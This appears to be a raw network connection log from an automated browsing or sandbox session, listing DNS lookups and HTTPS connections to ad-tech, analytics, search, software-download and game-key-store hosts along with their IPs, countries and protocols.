US 216.58.212.193:443 a66677a9d5fabf5be254805514fa11c1.safeframe.googlesyndication.com udp
AT 13.32.110.104:443 sb.scorecardresearch.com tcp
US 13.107.246.64:443 s-part-0036.t-0009.t-msedge.net tcp
US 172.67.69.19:443 ad-delivery.net tcp
US 8.8.8.8:53 104.110.32.13.in-addr.arpa udp
US 8.8.8.8:53 u.clarity.ms udp
US 4.227.249.197:443 u.clarity.ms tcp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 u.clarity.ms udp
US 4.227.249.197:443 u.clarity.ms tcp
GB 172.217.169.65:443 cdn-content.ampproject.org udp
GB 142.250.200.1:443 tpc.googlesyndication.com udp
US 8.8.8.8:53 aax.amazon-adsystem.com udp
US 8.8.8.8:53 d1jvc9b8z3vcjs.cloudfront.net udp
US 8.8.8.8:53 htlb.casalemedia.com udp
US 104.18.26.193:443 htlb.casalemedia.com udp
US 8.8.8.8:53 ad.360yield.com udp
US 8.8.8.8:53 ap.lijit.com udp
US 8.8.8.8:53 prebid.media.net udp
US 8.8.8.8:53 euw-ice.360yield.com udp
US 8.8.8.8:53 d1jvc9b8z3vcjs.cloudfront.net udp
US 34.120.63.153:443 prebid.media.net udp
US 8.8.8.8:53 prebid.media.net udp
US 8.8.8.8:53 blackbird-prd-ew1-alb-87915139.eu-west-1.elb.amazonaws.com udp
US 8.8.8.8:53 euw-ice.360yield.com udp
US 8.8.8.8:53 prebid.media.net udp
US 8.8.8.8:53 blackbird-prd-ew1-alb-87915139.eu-west-1.elb.amazonaws.com udp
US 34.120.63.153:443 prebid.media.net tcp
GB 142.250.179.226:443 cm.g.doubleclick.net udp
US 8.8.8.8:53 c-msn-pme.trafficmanager.net udp
US 8.8.8.8:53 c-msn-pme.trafficmanager.net udp
IE 13.74.129.1:443 c-msn-pme.trafficmanager.net tcp
GB 142.250.180.1:443 ep2.adtrafficquality.google udp
GB 142.250.178.4:443 www.google.com udp
US 8.8.8.8:53 194.187.250.142.in-addr.arpa udp
US 150.171.28.10:443 ax-0001.ax-msedge.net tcp
US 8.8.8.8:53 ax-0001.ax-msedge.net udp
US 216.239.34.36:443 region1.google-analytics.com udp
US 13.107.246.64:443 s-part-0036.t-0009.t-msedge.net tcp
US 8.8.8.8:53 assets.dwncdn.net udp
US 104.18.86.42:443 cdn.cookielaw.org tcp
US 8.8.8.8:53 cdn.ampproject.org udp
US 8.8.8.8:53 www.clarity.ms udp
US 151.101.1.91:443 assets.dwncdn.net tcp
AT 13.32.110.8:443 sb.scorecardresearch.com tcp
US 8.8.8.8:53 n.sni.global.fastly.net udp
US 8.8.8.8:53 n.sni.global.fastly.net udp
US 151.101.129.91:443 n.sni.global.fastly.net tcp
GB 172.217.169.65:443 cdn.ampproject.org tcp
AT 18.66.22.10:443 d1ykf07e75w7ss.cloudfront.net tcp
US 8.8.8.8:53 65f7190f53b420cd506979d178646e1e.safeframe.googlesyndication.com udp
GB 142.250.200.1:443 65f7190f53b420cd506979d178646e1e.safeframe.googlesyndication.com tcp
US 8.8.8.8:53 65f7190f53b420cd506979d178646e1e.safeframe.googlesyndication.com udp
GB 142.250.200.1:443 65f7190f53b420cd506979d178646e1e.safeframe.googlesyndication.com udp
US 8.8.8.8:53 65f7190f53b420cd506979d178646e1e.safeframe.googlesyndication.com udp
GB 216.58.213.2:443 securepubads.g.doubleclick.net udp
GB 172.217.169.65:443 cdn.ampproject.org udp
GB 142.250.200.1:443 65f7190f53b420cd506979d178646e1e.safeframe.googlesyndication.com udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 13.107.246.64:443 www.clarity.ms tcp
DE 178.63.248.56:443 uidsync.net tcp
US 8.8.8.8:53 uidsync.net udp
DE 157.90.33.72:443 uidsync.net tcp
DE 157.90.33.72:443 uidsync.net tcp
US 8.8.8.8:53 3dce7159e504779ac17be8a438e8326d.safeframe.googlesyndication.com udp
GB 142.250.178.1:443 3dce7159e504779ac17be8a438e8326d.safeframe.googlesyndication.com tcp
US 8.8.8.8:53 3dce7159e504779ac17be8a438e8326d.safeframe.googlesyndication.com udp
US 8.8.8.8:53 3dce7159e504779ac17be8a438e8326d.safeframe.googlesyndication.com udp
GB 142.250.178.1:443 3dce7159e504779ac17be8a438e8326d.safeframe.googlesyndication.com udp
US 8.8.8.8:53 improving.duckduckgo.com udp
US 8.8.8.8:53 duckduckgo.com udp
US 8.8.8.8:53 duckduckgo.com udp
US 8.8.8.8:53 duckduckgo.com udp
DE 88.99.208.233:443 shb.richaudience.com tcp
DE 88.99.208.233:443 shb.richaudience.com tcp
US 8.8.8.8:53 htlb.casalemedia.com udp
US 8.8.8.8:53 external-content.duckduckgo.com udp
US 8.8.8.8:53 external-content.duckduckgo.com udp
US 8.8.8.8:53 external-content.duckduckgo.com udp
US 8.8.8.8:53 links.duckduckgo.com udp
IE 20.223.54.233:443 links.duckduckgo.com tcp
US 8.8.8.8:53 links.duckduckgo.com udp
IE 20.223.54.233:443 links.duckduckgo.com tcp
US 8.8.8.8:53 links.duckduckgo.com udp
IE 52.142.125.222:443 external-content.duckduckgo.com tcp
IE 52.142.125.222:443 external-content.duckduckgo.com tcp
IE 52.142.125.222:443 external-content.duckduckgo.com tcp
IE 52.142.125.222:443 external-content.duckduckgo.com tcp
IE 52.142.125.222:443 external-content.duckduckgo.com tcp
IE 52.142.125.222:443 external-content.duckduckgo.com tcp
US 8.8.8.8:53 www.filehorse.com udp
US 104.20.0.51:443 www.filehorse.com tcp
US 8.8.8.8:53 www.filehorse.com udp
US 104.20.0.51:443 www.filehorse.com udp
US 8.8.8.8:53 static.filehorse.com udp
US 8.8.8.8:53 spn-v1.revampcdn.com udp
US 104.20.1.51:443 static.filehorse.com tcp
US 104.20.1.51:443 static.filehorse.com tcp
US 104.20.1.51:443 static.filehorse.com tcp
US 104.20.1.51:443 static.filehorse.com tcp
US 104.20.1.51:443 static.filehorse.com tcp
US 104.20.1.51:443 static.filehorse.com tcp
US 8.8.8.8:53 static.filehorse.com udp
US 151.101.193.91:443 spn-v1.revampcdn.com tcp
US 151.101.193.91:443 spn-v1.revampcdn.com tcp
US 8.8.8.8:53 swls.map.fastly.net udp
GB 216.58.201.106:443 ajax.googleapis.com tcp
US 8.8.8.8:53 ajax.googleapis.com udp
US 8.8.8.8:53 static.filehorse.com udp
US 8.8.8.8:53 ajax.googleapis.com udp
US 104.20.1.51:443 static.filehorse.com udp
US 151.101.193.91:443 spn-v1.revampcdn.com udp
GB 216.58.201.106:443 ajax.googleapis.com udp
US 151.101.193.91:443 spn-v1.revampcdn.com udp
US 8.8.8.8:53 c.amazon-adsystem.com udp
GB 216.58.213.22:443 i.ytimg.com tcp
US 8.8.8.8:53 d1ykf07e75w7ss.cloudfront.net udp
GB 216.58.213.22:443 i.ytimg.com udp
GB 216.58.213.2:443 securepubads.g.doubleclick.net tcp
US 216.239.34.36:443 region1.google-analytics.com tcp
US 172.67.41.60:443 btloader.com tcp
AT 18.66.22.10:443 c.amazon-adsystem.com tcp
DE 162.19.138.82:443 lb.eu-1-id5-sync.com tcp
US 8.8.8.8:53 id5-sync.com udp
US 8.8.8.8:53 id.crwdcntrl.net udp
US 35.244.193.51:443 lexicon.33across.com tcp
US 8.8.8.8:53 lexicon.33across.com udp
US 8.8.8.8:53 apps.cpi.arturito.cloud udp
IE 54.154.145.233:443 id.crwdcntrl.net tcp
US 8.8.8.8:53 id.crwdcntrl.net udp
US 34.120.186.113:443 apps.cpi.arturito.cloud tcp
US 8.8.8.8:53 apps.cpi.arturito.cloud udp
US 8.8.8.8:53 apps.cpi.arturito.cloud udp
GB 216.58.213.2:443 securepubads.g.doubleclick.net udp
US 216.239.34.36:443 region1.google-analytics.com udp
US 34.120.186.113:443 apps.cpi.arturito.cloud udp
US 35.244.193.51:443 lexicon.33across.com udp
US 8.8.8.8:53 51.0.20.104.in-addr.arpa udp
US 8.8.8.8:53 106.201.58.216.in-addr.arpa udp
US 8.8.8.8:53 113.186.120.34.in-addr.arpa udp
US 8.8.8.8:53 233.145.154.54.in-addr.arpa udp
US 8.8.8.8:53 51.1.20.104.in-addr.arpa udp
US 172.67.69.19:443 ad-delivery.net tcp
US 172.67.69.19:443 ad-delivery.net tcp
DE 141.95.98.65:443 lb.eu-1-id5-sync.com tcp
US 8.8.8.8:53 lb.eu-1-id5-sync.com udp
US 8.8.8.8:53 di-images.sftcdn.net udp
US 151.101.65.91:443 di-images.sftcdn.net tcp
US 151.101.65.91:443 di-images.sftcdn.net tcp
US 151.101.65.91:443 di-images.sftcdn.net tcp
US 151.101.65.91:443 di-images.sftcdn.net tcp
US 8.8.8.8:53 config.aps.amazon-adsystem.com udp
US 104.26.6.141:443 api.btmessage.com tcp
US 8.8.8.8:53 config.aps.amazon-adsystem.com udp
US 130.211.23.194:443 api.btloader.com tcp
US 8.8.8.8:53 config.aps.amazon-adsystem.com udp
US 151.101.65.91:443 di-images.sftcdn.net udp
GB 172.217.169.14:443 www3.l.google.com tcp
US 172.67.74.232:443 api.btmessage.com tcp
GB 172.217.169.14:443 www3.l.google.com udp
US 130.211.23.194:443 api.btloader.com udp
GB 172.217.169.14:443 www3.l.google.com udp
AT 3.161.119.51:443 config.aps.amazon-adsystem.com tcp
US 130.211.23.194:443 api.btloader.com udp
DE 162.19.138.82:443 lb.eu-1-id5-sync.com tcp
US 104.22.52.86:443 cdn.id5-sync.com tcp
US 104.20.1.51:443 static.filehorse.com udp
US 8.8.8.8:53 u.clarity.ms udp
US 4.227.249.197:443 u.clarity.ms tcp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 aax.amazon-adsystem.com udp
GB 185.64.190.77:443 hbopenbid-lhrc.pubmnet.com tcp
US 8.8.8.8:53 hbopenbid-lhrc.pubmnet.com udp
DE 88.99.208.233:443 shb.richaudience.com tcp
US 8.8.8.8:53 shb.richaudience.com udp
DE 88.99.208.233:443 shb.richaudience.com tcp
US 8.8.8.8:53 prg.smartadserver.com udp
IE 54.155.194.137:443 ad.360yield.com tcp
US 8.8.8.8:53 euw-ice.360yield.com udp
US 8.8.8.8:53 ib.adnxs.com udp
US 8.8.8.8:53 hb-api.omnitagjs.com udp
AT 3.165.211.140:443 aax.amazon-adsystem.com tcp
US 8.8.8.8:53 oa.openxcdn.net udp
NL 185.89.211.116:443 ib.adnxs.com tcp
NL 89.149.192.192:443 prg.smartadserver.com tcp
NL 89.149.192.192:443 prg.smartadserver.com tcp
US 8.8.8.8:53 invstatic101.creativecdn.com udp
FR 34.1.1.166:443 hb-api.omnitagjs.com tcp
US 8.8.8.8:53 ib.anycast.adnxs.com udp
US 8.8.8.8:53 static.criteo.net udp
US 8.8.8.8:53 euw-ice.360yield.com udp
US 8.8.8.8:53 euw1.smartadserver.com udp
US 8.8.8.8:53 d1jvc9b8z3vcjs.cloudfront.net udp
US 8.8.8.8:53 cdn-ima.33across.com.cdn.cloudflare.net udp
US 8.8.8.8:53 hb-api.europe-west9.gcp.omnitagjs.com udp
US 8.8.8.8:53 invstatic101.creativecdn.com udp
US 8.8.8.8:53 ib.anycast.adnxs.com udp
US 8.8.8.8:53 euw1.smartadserver.com udp
US 8.8.8.8:53 oa.openxcdn.net udp
US 8.8.8.8:53 in-ftd-172.nl3.vip.prod.criteo.net udp
US 8.8.8.8:53 invstatic101.creativecdn.com udp
US 8.8.8.8:53 in-ftd-172.nl3.vip.prod.criteo.net udp
US 34.102.146.192:443 oa.openxcdn.net tcp
US 104.18.28.101:443 cdn-ima.33across.com.cdn.cloudflare.net tcp
US 34.96.70.87:443 invstatic101.creativecdn.com tcp
NL 178.250.1.39:443 in-ftd-172.nl3.vip.prod.criteo.net tcp
US 8.8.8.8:53 aax-eu.amazon-adsystem.com udp
US 8.8.8.8:53 aax-eu.amazon-adsystem.com udp
IE 52.95.126.138:443 aax-eu.amazon-adsystem.com tcp
US 8.8.8.8:53 aax-eu.amazon-adsystem.com udp
US 34.102.146.192:443 oa.openxcdn.net udp
US 34.96.70.87:443 invstatic101.creativecdn.com udp
US 8.8.8.8:53 gum.criteo.com udp
US 8.8.8.8:53 gum.nl3.vip.prod.criteo.com udp
NL 178.250.1.11:443 gum.nl3.vip.prod.criteo.com tcp
US 8.8.8.8:53 gum.nl3.vip.prod.criteo.com udp
US 35.190.39.111:443 esp.rtbhouse.com tcp
US 8.8.8.8:53 esp.rtbhouse.com udp
US 8.8.8.8:53 esp.rtbhouse.com udp
US 8.8.8.8:53 dnacdn.net udp
US 8.8.8.8:53 ag.gbc.criteo.com udp
US 8.8.8.8:53 gem.gbc.criteo.com udp
US 8.8.8.8:53 gbc2.nl3.eu.criteo.com udp
US 8.8.8.8:53 gbc5.fr3.eu.criteo.com udp
US 8.8.8.8:53 dnacdn.net udp
NL 178.250.1.11:443 dnacdn.net tcp
US 8.8.8.8:53 gbc5.fr3.eu.criteo.com udp
US 8.8.8.8:53 gbc2.nl3.eu.criteo.com udp
US 35.190.39.111:443 esp.rtbhouse.com udp
US 8.8.8.8:53 dnacdn.net udp
US 8.8.8.8:53 137.194.155.54.in-addr.arpa udp
US 8.8.8.8:53 116.211.89.185.in-addr.arpa udp
US 8.8.8.8:53 192.192.149.89.in-addr.arpa udp
FR 185.235.86.156:443 gbc5.fr3.eu.criteo.com tcp
NL 185.235.87.83:443 gbc2.nl3.eu.criteo.com tcp
US 8.8.8.8:53 192.146.102.34.in-addr.arpa udp
US 8.8.8.8:53 39.1.250.178.in-addr.arpa udp
US 8.8.8.8:53 138.126.95.52.in-addr.arpa udp
US 8.8.8.8:53 11.1.250.178.in-addr.arpa udp
US 8.8.8.8:53 111.39.190.35.in-addr.arpa udp
US 8.8.8.8:53 83.87.235.185.in-addr.arpa udp
US 8.8.8.8:53 156.86.235.185.in-addr.arpa udp
GB 216.58.213.2:443 securepubads.g.doubleclick.net tcp
US 151.101.193.91:443 di-images.sftcdn.net tcp
GB 216.58.213.22:443 i.ytimg.com tcp
US 104.26.2.70:443 ad-delivery.net tcp
US 151.101.65.91:443 di-images.sftcdn.net tcp
GB 172.217.169.14:443 www3.l.google.com tcp
US 104.20.1.51:443 static.filehorse.com udp
US 8.8.8.8:53 push-sdk.com udp
DE 178.63.248.57:443 push-sdk.com tcp
US 8.8.8.8:53 push-sdk.com udp
US 8.8.8.8:53 push-sdk.com udp
US 8.8.8.8:53 ads.pubmatic.com udp
US 8.8.8.8:53 secure.adnxs.com udp
US 8.8.8.8:53 ap.lijit.com udp
US 8.8.8.8:53 visitor.omnitagjs.com udp
US 8.8.8.8:53 acdn.adnxs.com udp
DE 167.235.114.248:443 sync.richaudience.com tcp
US 8.8.8.8:53 sync.richaudience.com udp
IE 34.248.111.247:443 ap.lijit.com tcp
FR 34.1.1.166:443 visitor.omnitagjs.com tcp
US 8.8.8.8:53 blackbird-prd-ew1-alb-87915139.eu-west-1.elb.amazonaws.com udp
NL 185.89.210.212:443 secure.adnxs.com tcp
US 8.8.8.8:53 visitor.europe-west9.gcp.omnitagjs.com udp
US 151.101.65.108:443 acdn.adnxs.com tcp
US 8.8.8.8:53 sync.richaudience.com udp
US 8.8.8.8:53 prod.appnexus.map.fastly.net udp
GB 2.18.109.44:443 ads.pubmatic.com tcp
US 8.8.8.8:53 e6603.g.akamaiedge.net udp
US 8.8.8.8:53 prod.appnexus.map.fastly.net udp
US 8.8.8.8:53 uidsync.net udp
US 8.8.8.8:53 secure.adnxs.com udp
US 8.8.8.8:53 ap.lijit.com udp
DE 157.90.33.68:443 uidsync.net tcp
DE 157.90.33.68:443 uidsync.net tcp
US 8.8.8.8:53 uidsync.net udp
US 8.8.8.8:53 x.bidswitch.net udp
US 8.8.8.8:53 creativecdn.com udp
US 8.8.8.8:53 sync.1rx.io udp
US 8.8.8.8:53 b1sync.zemanta.com udp
NL 35.214.162.172:443 envoy-hl.envoy-csync.core-002-ew4.ov1o.com tcp
US 8.8.8.8:53 match.adsrvr.org udp
US 8.8.8.8:53 sync.srv.stackadapt.com udp
US 8.8.8.8:53 sync.contextualadv.com udp
US 8.8.8.8:53 rtb.bid.com udp
US 8.8.8.8:53 sync-service.net udp
US 204.62.12.209:443 sync-service.net tcp
US 8.8.8.8:53 e6603.g.akamaiedge.net udp
US 204.62.13.183:443 sync.contextualadv.com tcp
US 8.8.8.8:53 uidsync.net udp
US 8.8.8.8:53 match.adsrvr.org udp
US 8.8.8.8:53 envoy-hl.envoy-csync.core-002-ew4.ov1o.com udp
US 8.8.8.8:53 id.rlcdn.com udp
US 172.111.38.111:443 tracker-use.ortb.net tcp
US 8.8.8.8:53 prebid.a-mo.net udp
US 8.8.8.8:53 secure-assets.rubiconproject.com udp
DE 51.89.9.252:443 onetag-sys.com tcp
US 8.8.8.8:53 eus.rubiconproject.com udp
US 8.8.8.8:53 player.aniview.com udp
US 8.8.8.8:53 cs-server-s2s.yellowblue.io udp
US 8.8.8.8:53 imagsync-lhrpairbc.pubmatic.com udp
US 8.8.8.8:53 user-data-eu.bidswitch.net udp
US 8.8.8.8:53 nydc1.outbrain.org udp
US 8.8.8.8:53 sync.srv.stackadapt.com udp
US 8.8.8.8:53 creativecdn.com udp
US 8.8.8.8:53 blackbird-prd-ew1-alb-87915139.eu-west-1.elb.amazonaws.com udp
US 8.8.8.8:53 ssbsync.smartadserver.com udp
US 8.8.8.8:53 sync.contextualadv.com udp
US 8.8.8.8:53 jadserve.postrelease.com.akadns.net udp
US 67.202.105.24:443 ssc-cms.33across.com tcp
US 8.8.8.8:53 id.rlcdn.com udp
US 8.8.8.8:53 sync-service.net udp
US 8.8.8.8:53 0cf7f8fb5af66c8276620588c72a92d5.safeframe.googlesyndication.com udp
US 8.8.8.8:53 tracker-use.ortb.net udp
US 8.8.8.8:53 user-data-eu.bidswitch.net udp
US 8.8.8.8:53 bttrack.com udp
US 8.8.8.8:53 onetag-sys.com udp
FR 5.196.111.69:443 ssbsync.smartadserver.com tcp
US 8.8.8.8:53 ssbsync-euw2.smartadserver.com udp
GB 2.18.190.173:443 player.aniview.com tcp
US 8.8.8.8:53 a1970.dscd.akamai.net udp
FR 2.18.222.253:443 secure-assets.rubiconproject.com tcp
US 8.8.8.8:53 e8960.e2.akamaiedge.net udp
US 8.8.8.8:53 nydc1.outbrain.org udp
US 8.8.8.8:53 creativecdn.com udp
US 8.8.8.8:53 sync.srv.stackadapt.com udp
GB 95.100.245.251:443 eus.rubiconproject.com tcp
US 8.8.8.8:53 e8960.b.akamaiedge.net udp
US 34.206.163.116:443 cs-server-s2s.yellowblue.io tcp
US 8.8.8.8:53 nld-prebid.a-mx.net udp
GB 142.250.200.1:443 0cf7f8fb5af66c8276620588c72a92d5.safeframe.googlesyndication.com tcp
US 8.8.8.8:53 pixel.33across.com udp
US 8.8.8.8:53 id.rlcdn.com udp
US 8.8.8.8:53 0cf7f8fb5af66c8276620588c72a92d5.safeframe.googlesyndication.com udp
US 8.8.8.8:53 sync.contextualadv.com udp
US 8.8.8.8:53 e8960.e2.akamaiedge.net udp
US 8.8.8.8:53 e8960.b.akamaiedge.net udp
US 8.8.8.8:53 cs-server-s2s.yellowblue.io udp
US 8.8.8.8:53 nld-prebid.a-mx.net udp
US 8.8.8.8:53 a1970.dscd.akamai.net udp
US 8.8.8.8:53 ssbsync-euw2.smartadserver.com udp
GB 2.18.190.173:443 a1970.dscd.akamai.net udp
US 8.8.8.8:53 247.111.248.34.in-addr.arpa udp
US 8.8.8.8:53 212.210.89.185.in-addr.arpa udp
US 8.8.8.8:53 68.33.90.157.in-addr.arpa udp
US 8.8.8.8:53 0cf7f8fb5af66c8276620588c72a92d5.safeframe.googlesyndication.com udp
US 8.8.8.8:53 183.13.62.204.in-addr.arpa udp
GB 142.250.200.1:443 0cf7f8fb5af66c8276620588c72a92d5.safeframe.googlesyndication.com udp
US 8.8.8.8:53 cs.admanmedia.com udp
US 8.8.8.8:53 cms.quantserve.com udp
US 8.8.8.8:53 s.company-target.com udp
NL 185.89.211.116:443 secure.adnxs.com tcp
NL 185.89.211.116:443 secure.adnxs.com tcp
NL 185.89.211.116:443 secure.adnxs.com tcp
NL 46.228.174.117:443 sync.1rx.io tcp
NL 35.214.136.108:443 user-data-eu.bidswitch.net tcp
NL 185.184.8.90:443 creativecdn.com tcp
US 15.197.193.217:443 match.adsrvr.org tcp
US 64.202.112.255:443 b1sync.zemanta.com tcp
GB 185.64.191.214:443 imagsync-lhrpairbc.pubmatic.com tcp
US 35.169.16.79:443 sync.srv.stackadapt.com tcp
IE 54.220.239.22:443 ap.lijit.com tcp
US 8.8.8.8:53 t.adx.opera.com udp
US 34.96.71.22:443 s.company-target.com tcp
IE 18.200.101.57:443 jadserve.postrelease.com.akadns.net tcp
IE 54.220.239.22:443 ap.lijit.com tcp
US 35.244.174.68:443 id.rlcdn.com tcp
US 192.132.33.69:443 bttrack.com tcp
US 8.8.8.8:53 s.dsp-prod.demandbase.com udp
DE 91.228.74.244:443 cms.quantserve.com tcp
US 80.77.87.162:443 cs.admanmedia.com tcp
US 8.8.8.8:53 global.px.quantserve.com udp
US 8.8.8.8:53 cs.admanmedia.com udp
NL 163.5.194.31:443 nld-prebid.a-mx.net tcp
US 8.8.8.8:53 visitor.europe-west9.gcp.omnitagjs.com udp
US 8.8.8.8:53 global.px.quantserve.com udp
FR 34.1.1.166:443 visitor.europe-west9.gcp.omnitagjs.com tcp
FR 34.1.1.166:443 visitor.europe-west9.gcp.omnitagjs.com tcp
US 8.8.8.8:53 cs.admanmedia.com udp
FR 34.1.1.166:443 visitor.europe-west9.gcp.omnitagjs.com tcp
US 8.8.8.8:53 s.dsp-prod.demandbase.com udp
NL 82.145.213.8:443 t.adx.opera.com tcp
US 8.8.8.8:53 outspot2-ams.adx.opera.com udp
US 35.244.174.68:443 id.rlcdn.com udp
US 34.96.71.22:443 s.dsp-prod.demandbase.com udp
FR 34.1.1.166:443 visitor.europe-west9.gcp.omnitagjs.com tcp
US 8.8.8.8:53 rtb-csync.smartadserver.com udp
US 8.8.8.8:53 match.sharethrough.com udp
NL 35.214.162.172:443 envoy-hl.envoy-csync.core-002-ew4.ov1o.com tcp
US 8.8.8.8:53 am1-direct-bgp.contextweb.com udp
US 8.8.8.8:53 outspot2-ams.adx.opera.com udp
US 80.77.87.162:443 cs.admanmedia.com tcp
US 8.8.8.8:53 b1sync.outbrain.com udp
US 8.8.8.8:53 am1-direct-bgp.contextweb.com udp
FR 164.132.25.184:443 rtb-csync.smartadserver.com tcp
FR 164.132.25.184:443 rtb-csync.smartadserver.com tcp
US 8.8.8.8:53 rtb-csync-euw2.smartadserver.com udp
US 8.8.8.8:53 match-eu-central-1-ecs.sharethrough.com udp
US 8.8.8.8:53 173.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 251.245.100.95.in-addr.arpa udp
US 8.8.8.8:53 69.111.196.5.in-addr.arpa udp
US 8.8.8.8:53 253.222.18.2.in-addr.arpa udp
US 8.8.8.8:53 24.105.202.67.in-addr.arpa udp
US 8.8.8.8:53 116.163.206.34.in-addr.arpa udp
US 8.8.8.8:53 22.71.96.34.in-addr.arpa udp
FR 164.132.25.184:443 rtb-csync-euw2.smartadserver.com tcp
US 8.8.8.8:53 rtb-csync-euw2.smartadserver.com udp
US 8.8.8.8:53 match-eu-central-1-ecs.sharethrough.com udp
US 64.74.236.159:443 b1sync.outbrain.com tcp
US 8.8.8.8:53 chidc2.outbrain.org udp
DE 18.184.119.72:443 match.sharethrough.com tcp
NL 208.93.169.131:443 am1-direct-bgp.contextweb.com tcp
US 8.8.8.8:53 chidc2.outbrain.org udp
US 8.8.8.8:53 token.rubiconproject.com udp
US 8.8.8.8:53 qvdt3feo.com udp
US 8.8.8.8:53 pixel.rubiconproject.net.akadns.net udp
US 8.8.8.8:53 255.112.202.64.in-addr.arpa udp
NL 69.173.156.149:443 pixel.rubiconproject.net.akadns.net tcp
NL 69.173.156.149:443 pixel.rubiconproject.net.akadns.net tcp
NL 69.173.156.149:443 pixel.rubiconproject.net.akadns.net tcp
US 8.8.8.8:53 79.16.169.35.in-addr.arpa udp
US 8.8.8.8:53 31.194.5.163.in-addr.arpa udp
US 3.229.195.248:443 qvdt3feo.com tcp
US 8.8.8.8:53 qvdt3feo.com udp
US 8.8.8.8:53 pixel.rubiconproject.net.akadns.net udp
IE 34.255.154.200:443 cs.yellowblue.io tcp
US 8.8.8.8:53 cs.yellowblue.io udp
US 8.8.8.8:53 cs.yellowblue.io udp
US 8.8.8.8:53 184.25.132.164.in-addr.arpa udp
US 8.8.8.8:53 162.87.77.80.in-addr.arpa udp
US 8.8.8.8:53 159.236.74.64.in-addr.arpa udp
US 8.8.8.8:53 149.156.173.69.in-addr.arpa udp
US 8.8.8.8:53 248.195.229.3.in-addr.arpa udp
FR 34.1.1.166:443 visitor.europe-west9.gcp.omnitagjs.com tcp
GB 172.217.169.65:443 cdn.ampproject.org tcp
GB 172.217.169.65:443 cdn.ampproject.org tcp
GB 172.217.169.65:443 cdn.ampproject.org tcp
GB 172.217.169.65:443 cdn.ampproject.org tcp
GB 172.217.169.65:443 cdn.ampproject.org tcp
GB 172.217.169.65:443 cdn.ampproject.org tcp
GB 172.217.169.65:443 cdn.ampproject.org udp
GB 142.250.200.1:443 0cf7f8fb5af66c8276620588c72a92d5.safeframe.googlesyndication.com tcp
GB 142.250.200.1:443 0cf7f8fb5af66c8276620588c72a92d5.safeframe.googlesyndication.com tcp
GB 142.250.200.1:443 0cf7f8fb5af66c8276620588c72a92d5.safeframe.googlesyndication.com udp
GB 142.250.179.226:443 cm.g.doubleclick.net tcp
GB 142.250.179.226:443 cm.g.doubleclick.net udp
GB 142.250.180.1:443 ep2.adtrafficquality.google tcp
GB 142.250.180.1:443 ep2.adtrafficquality.google udp
US 8.8.8.8:53 www.google.com udp
GB 142.250.178.4:443 www.google.com tcp
GB 142.250.178.4:443 www.google.com udp
FR 34.1.1.166:443 visitor.europe-west9.gcp.omnitagjs.com tcp
NL 35.214.162.172:443 envoy-hl.envoy-csync.core-002-ew4.ov1o.com tcp
US 8.8.8.8:53 sync.srv.stackadapt.com udp
FR 34.1.1.166:443 visitor.europe-west9.gcp.omnitagjs.com tcp
GB 142.250.179.226:443 cm.g.doubleclick.net tcp
US 8.8.8.8:53 cm.g.doubleclick.net udp
NL 185.89.211.116:443 secure.adnxs.com tcp
NL 185.89.211.116:443 secure.adnxs.com tcp
NL 185.89.211.116:443 secure.adnxs.com tcp
NL 46.228.174.117:443 sync.1rx.io tcp
GB 142.250.179.226:443 cm.g.doubleclick.net udp
US 8.8.8.8:53 hb-api.omnitagjs.com udp
US 104.20.1.51:443 static.filehorse.com udp
US 8.8.8.8:53 hb-api.europe-west9.gcp.omnitagjs.com udp
US 8.8.8.8:53 hb-api.europe-west9.gcp.omnitagjs.com udp
GB 142.250.200.1:443 0cf7f8fb5af66c8276620588c72a92d5.safeframe.googlesyndication.com udp
US 8.8.8.8:53 www.gamivo.com udp
US 104.18.29.25:443 www.gamivo.com tcp
US 8.8.8.8:53 www.gamivo.com udp
US 8.8.8.8:53 www.gamivo.com udp
US 8.8.8.8:53 25.29.18.104.in-addr.arpa udp
US 104.18.29.25:443 www.gamivo.com udp
US 8.8.8.8:53 assets-cf.gamivo.com udp
US 8.8.8.8:53 cdn-cf.gamivo.com udp
US 8.8.8.8:53 datalink.gamivo.com udp
US 8.8.8.8:53 cdn-cf.gamivo.com udp
US 8.8.8.8:53 datalink.gamivo.com udp
US 8.8.8.8:53 assets-cf.gamivo.com udp
US 8.8.8.8:53 static.cloudflareinsights.com udp
US 104.18.28.25:443 assets-cf.gamivo.com tcp
US 104.18.28.25:443 assets-cf.gamivo.com tcp
US 104.18.28.25:443 assets-cf.gamivo.com tcp
US 104.18.29.25:443 assets-cf.gamivo.com tcp
US 104.18.29.25:443 assets-cf.gamivo.com tcp
US 104.18.29.25:443 assets-cf.gamivo.com tcp
US 104.18.29.25:443 assets-cf.gamivo.com tcp
US 104.18.29.25:443 assets-cf.gamivo.com tcp
US 104.18.29.25:443 assets-cf.gamivo.com tcp
US 104.18.29.25:443 assets-cf.gamivo.com tcp
US 104.18.29.25:443 assets-cf.gamivo.com tcp
US 104.16.80.73:443 static.cloudflareinsights.com tcp
US 8.8.8.8:53 cdn-cf.gamivo.com udp
US 8.8.8.8:53 datalink.gamivo.com udp
US 8.8.8.8:53 assets-cf.gamivo.com udp
US 104.18.29.25:443 assets-cf.gamivo.com udp
US 104.18.28.25:443 assets-cf.gamivo.com udp
US 104.18.28.25:443 assets-cf.gamivo.com tcp
US 104.18.28.25:443 assets-cf.gamivo.com udp
US 8.8.8.8:53 25.28.18.104.in-addr.arpa udp
US 8.8.8.8:53 www.recaptcha.net udp
US 8.8.8.8:53 consent.cookiebot.com udp
GB 216.58.212.195:443 www.recaptcha.net tcp
US 8.8.8.8:53 www.recaptcha.net udp
US 8.8.8.8:53 tags.creativecdn.com udp
GB 184.28.198.210:443 consent.cookiebot.com tcp
US 8.8.8.8:53 e110990.dsca.akamaiedge.net udp
US 8.8.8.8:53 www.recaptcha.net udp
US 8.8.8.8:53 1589314308.rsc.cdn77.org udp
US 8.8.8.8:53 e110990.dsca.akamaiedge.net udp
US 8.8.8.8:53 1589314308.rsc.cdn77.org udp
GB 216.58.212.195:443 www.recaptcha.net udp
GB 89.187.167.41:443 1589314308.rsc.cdn77.org tcp
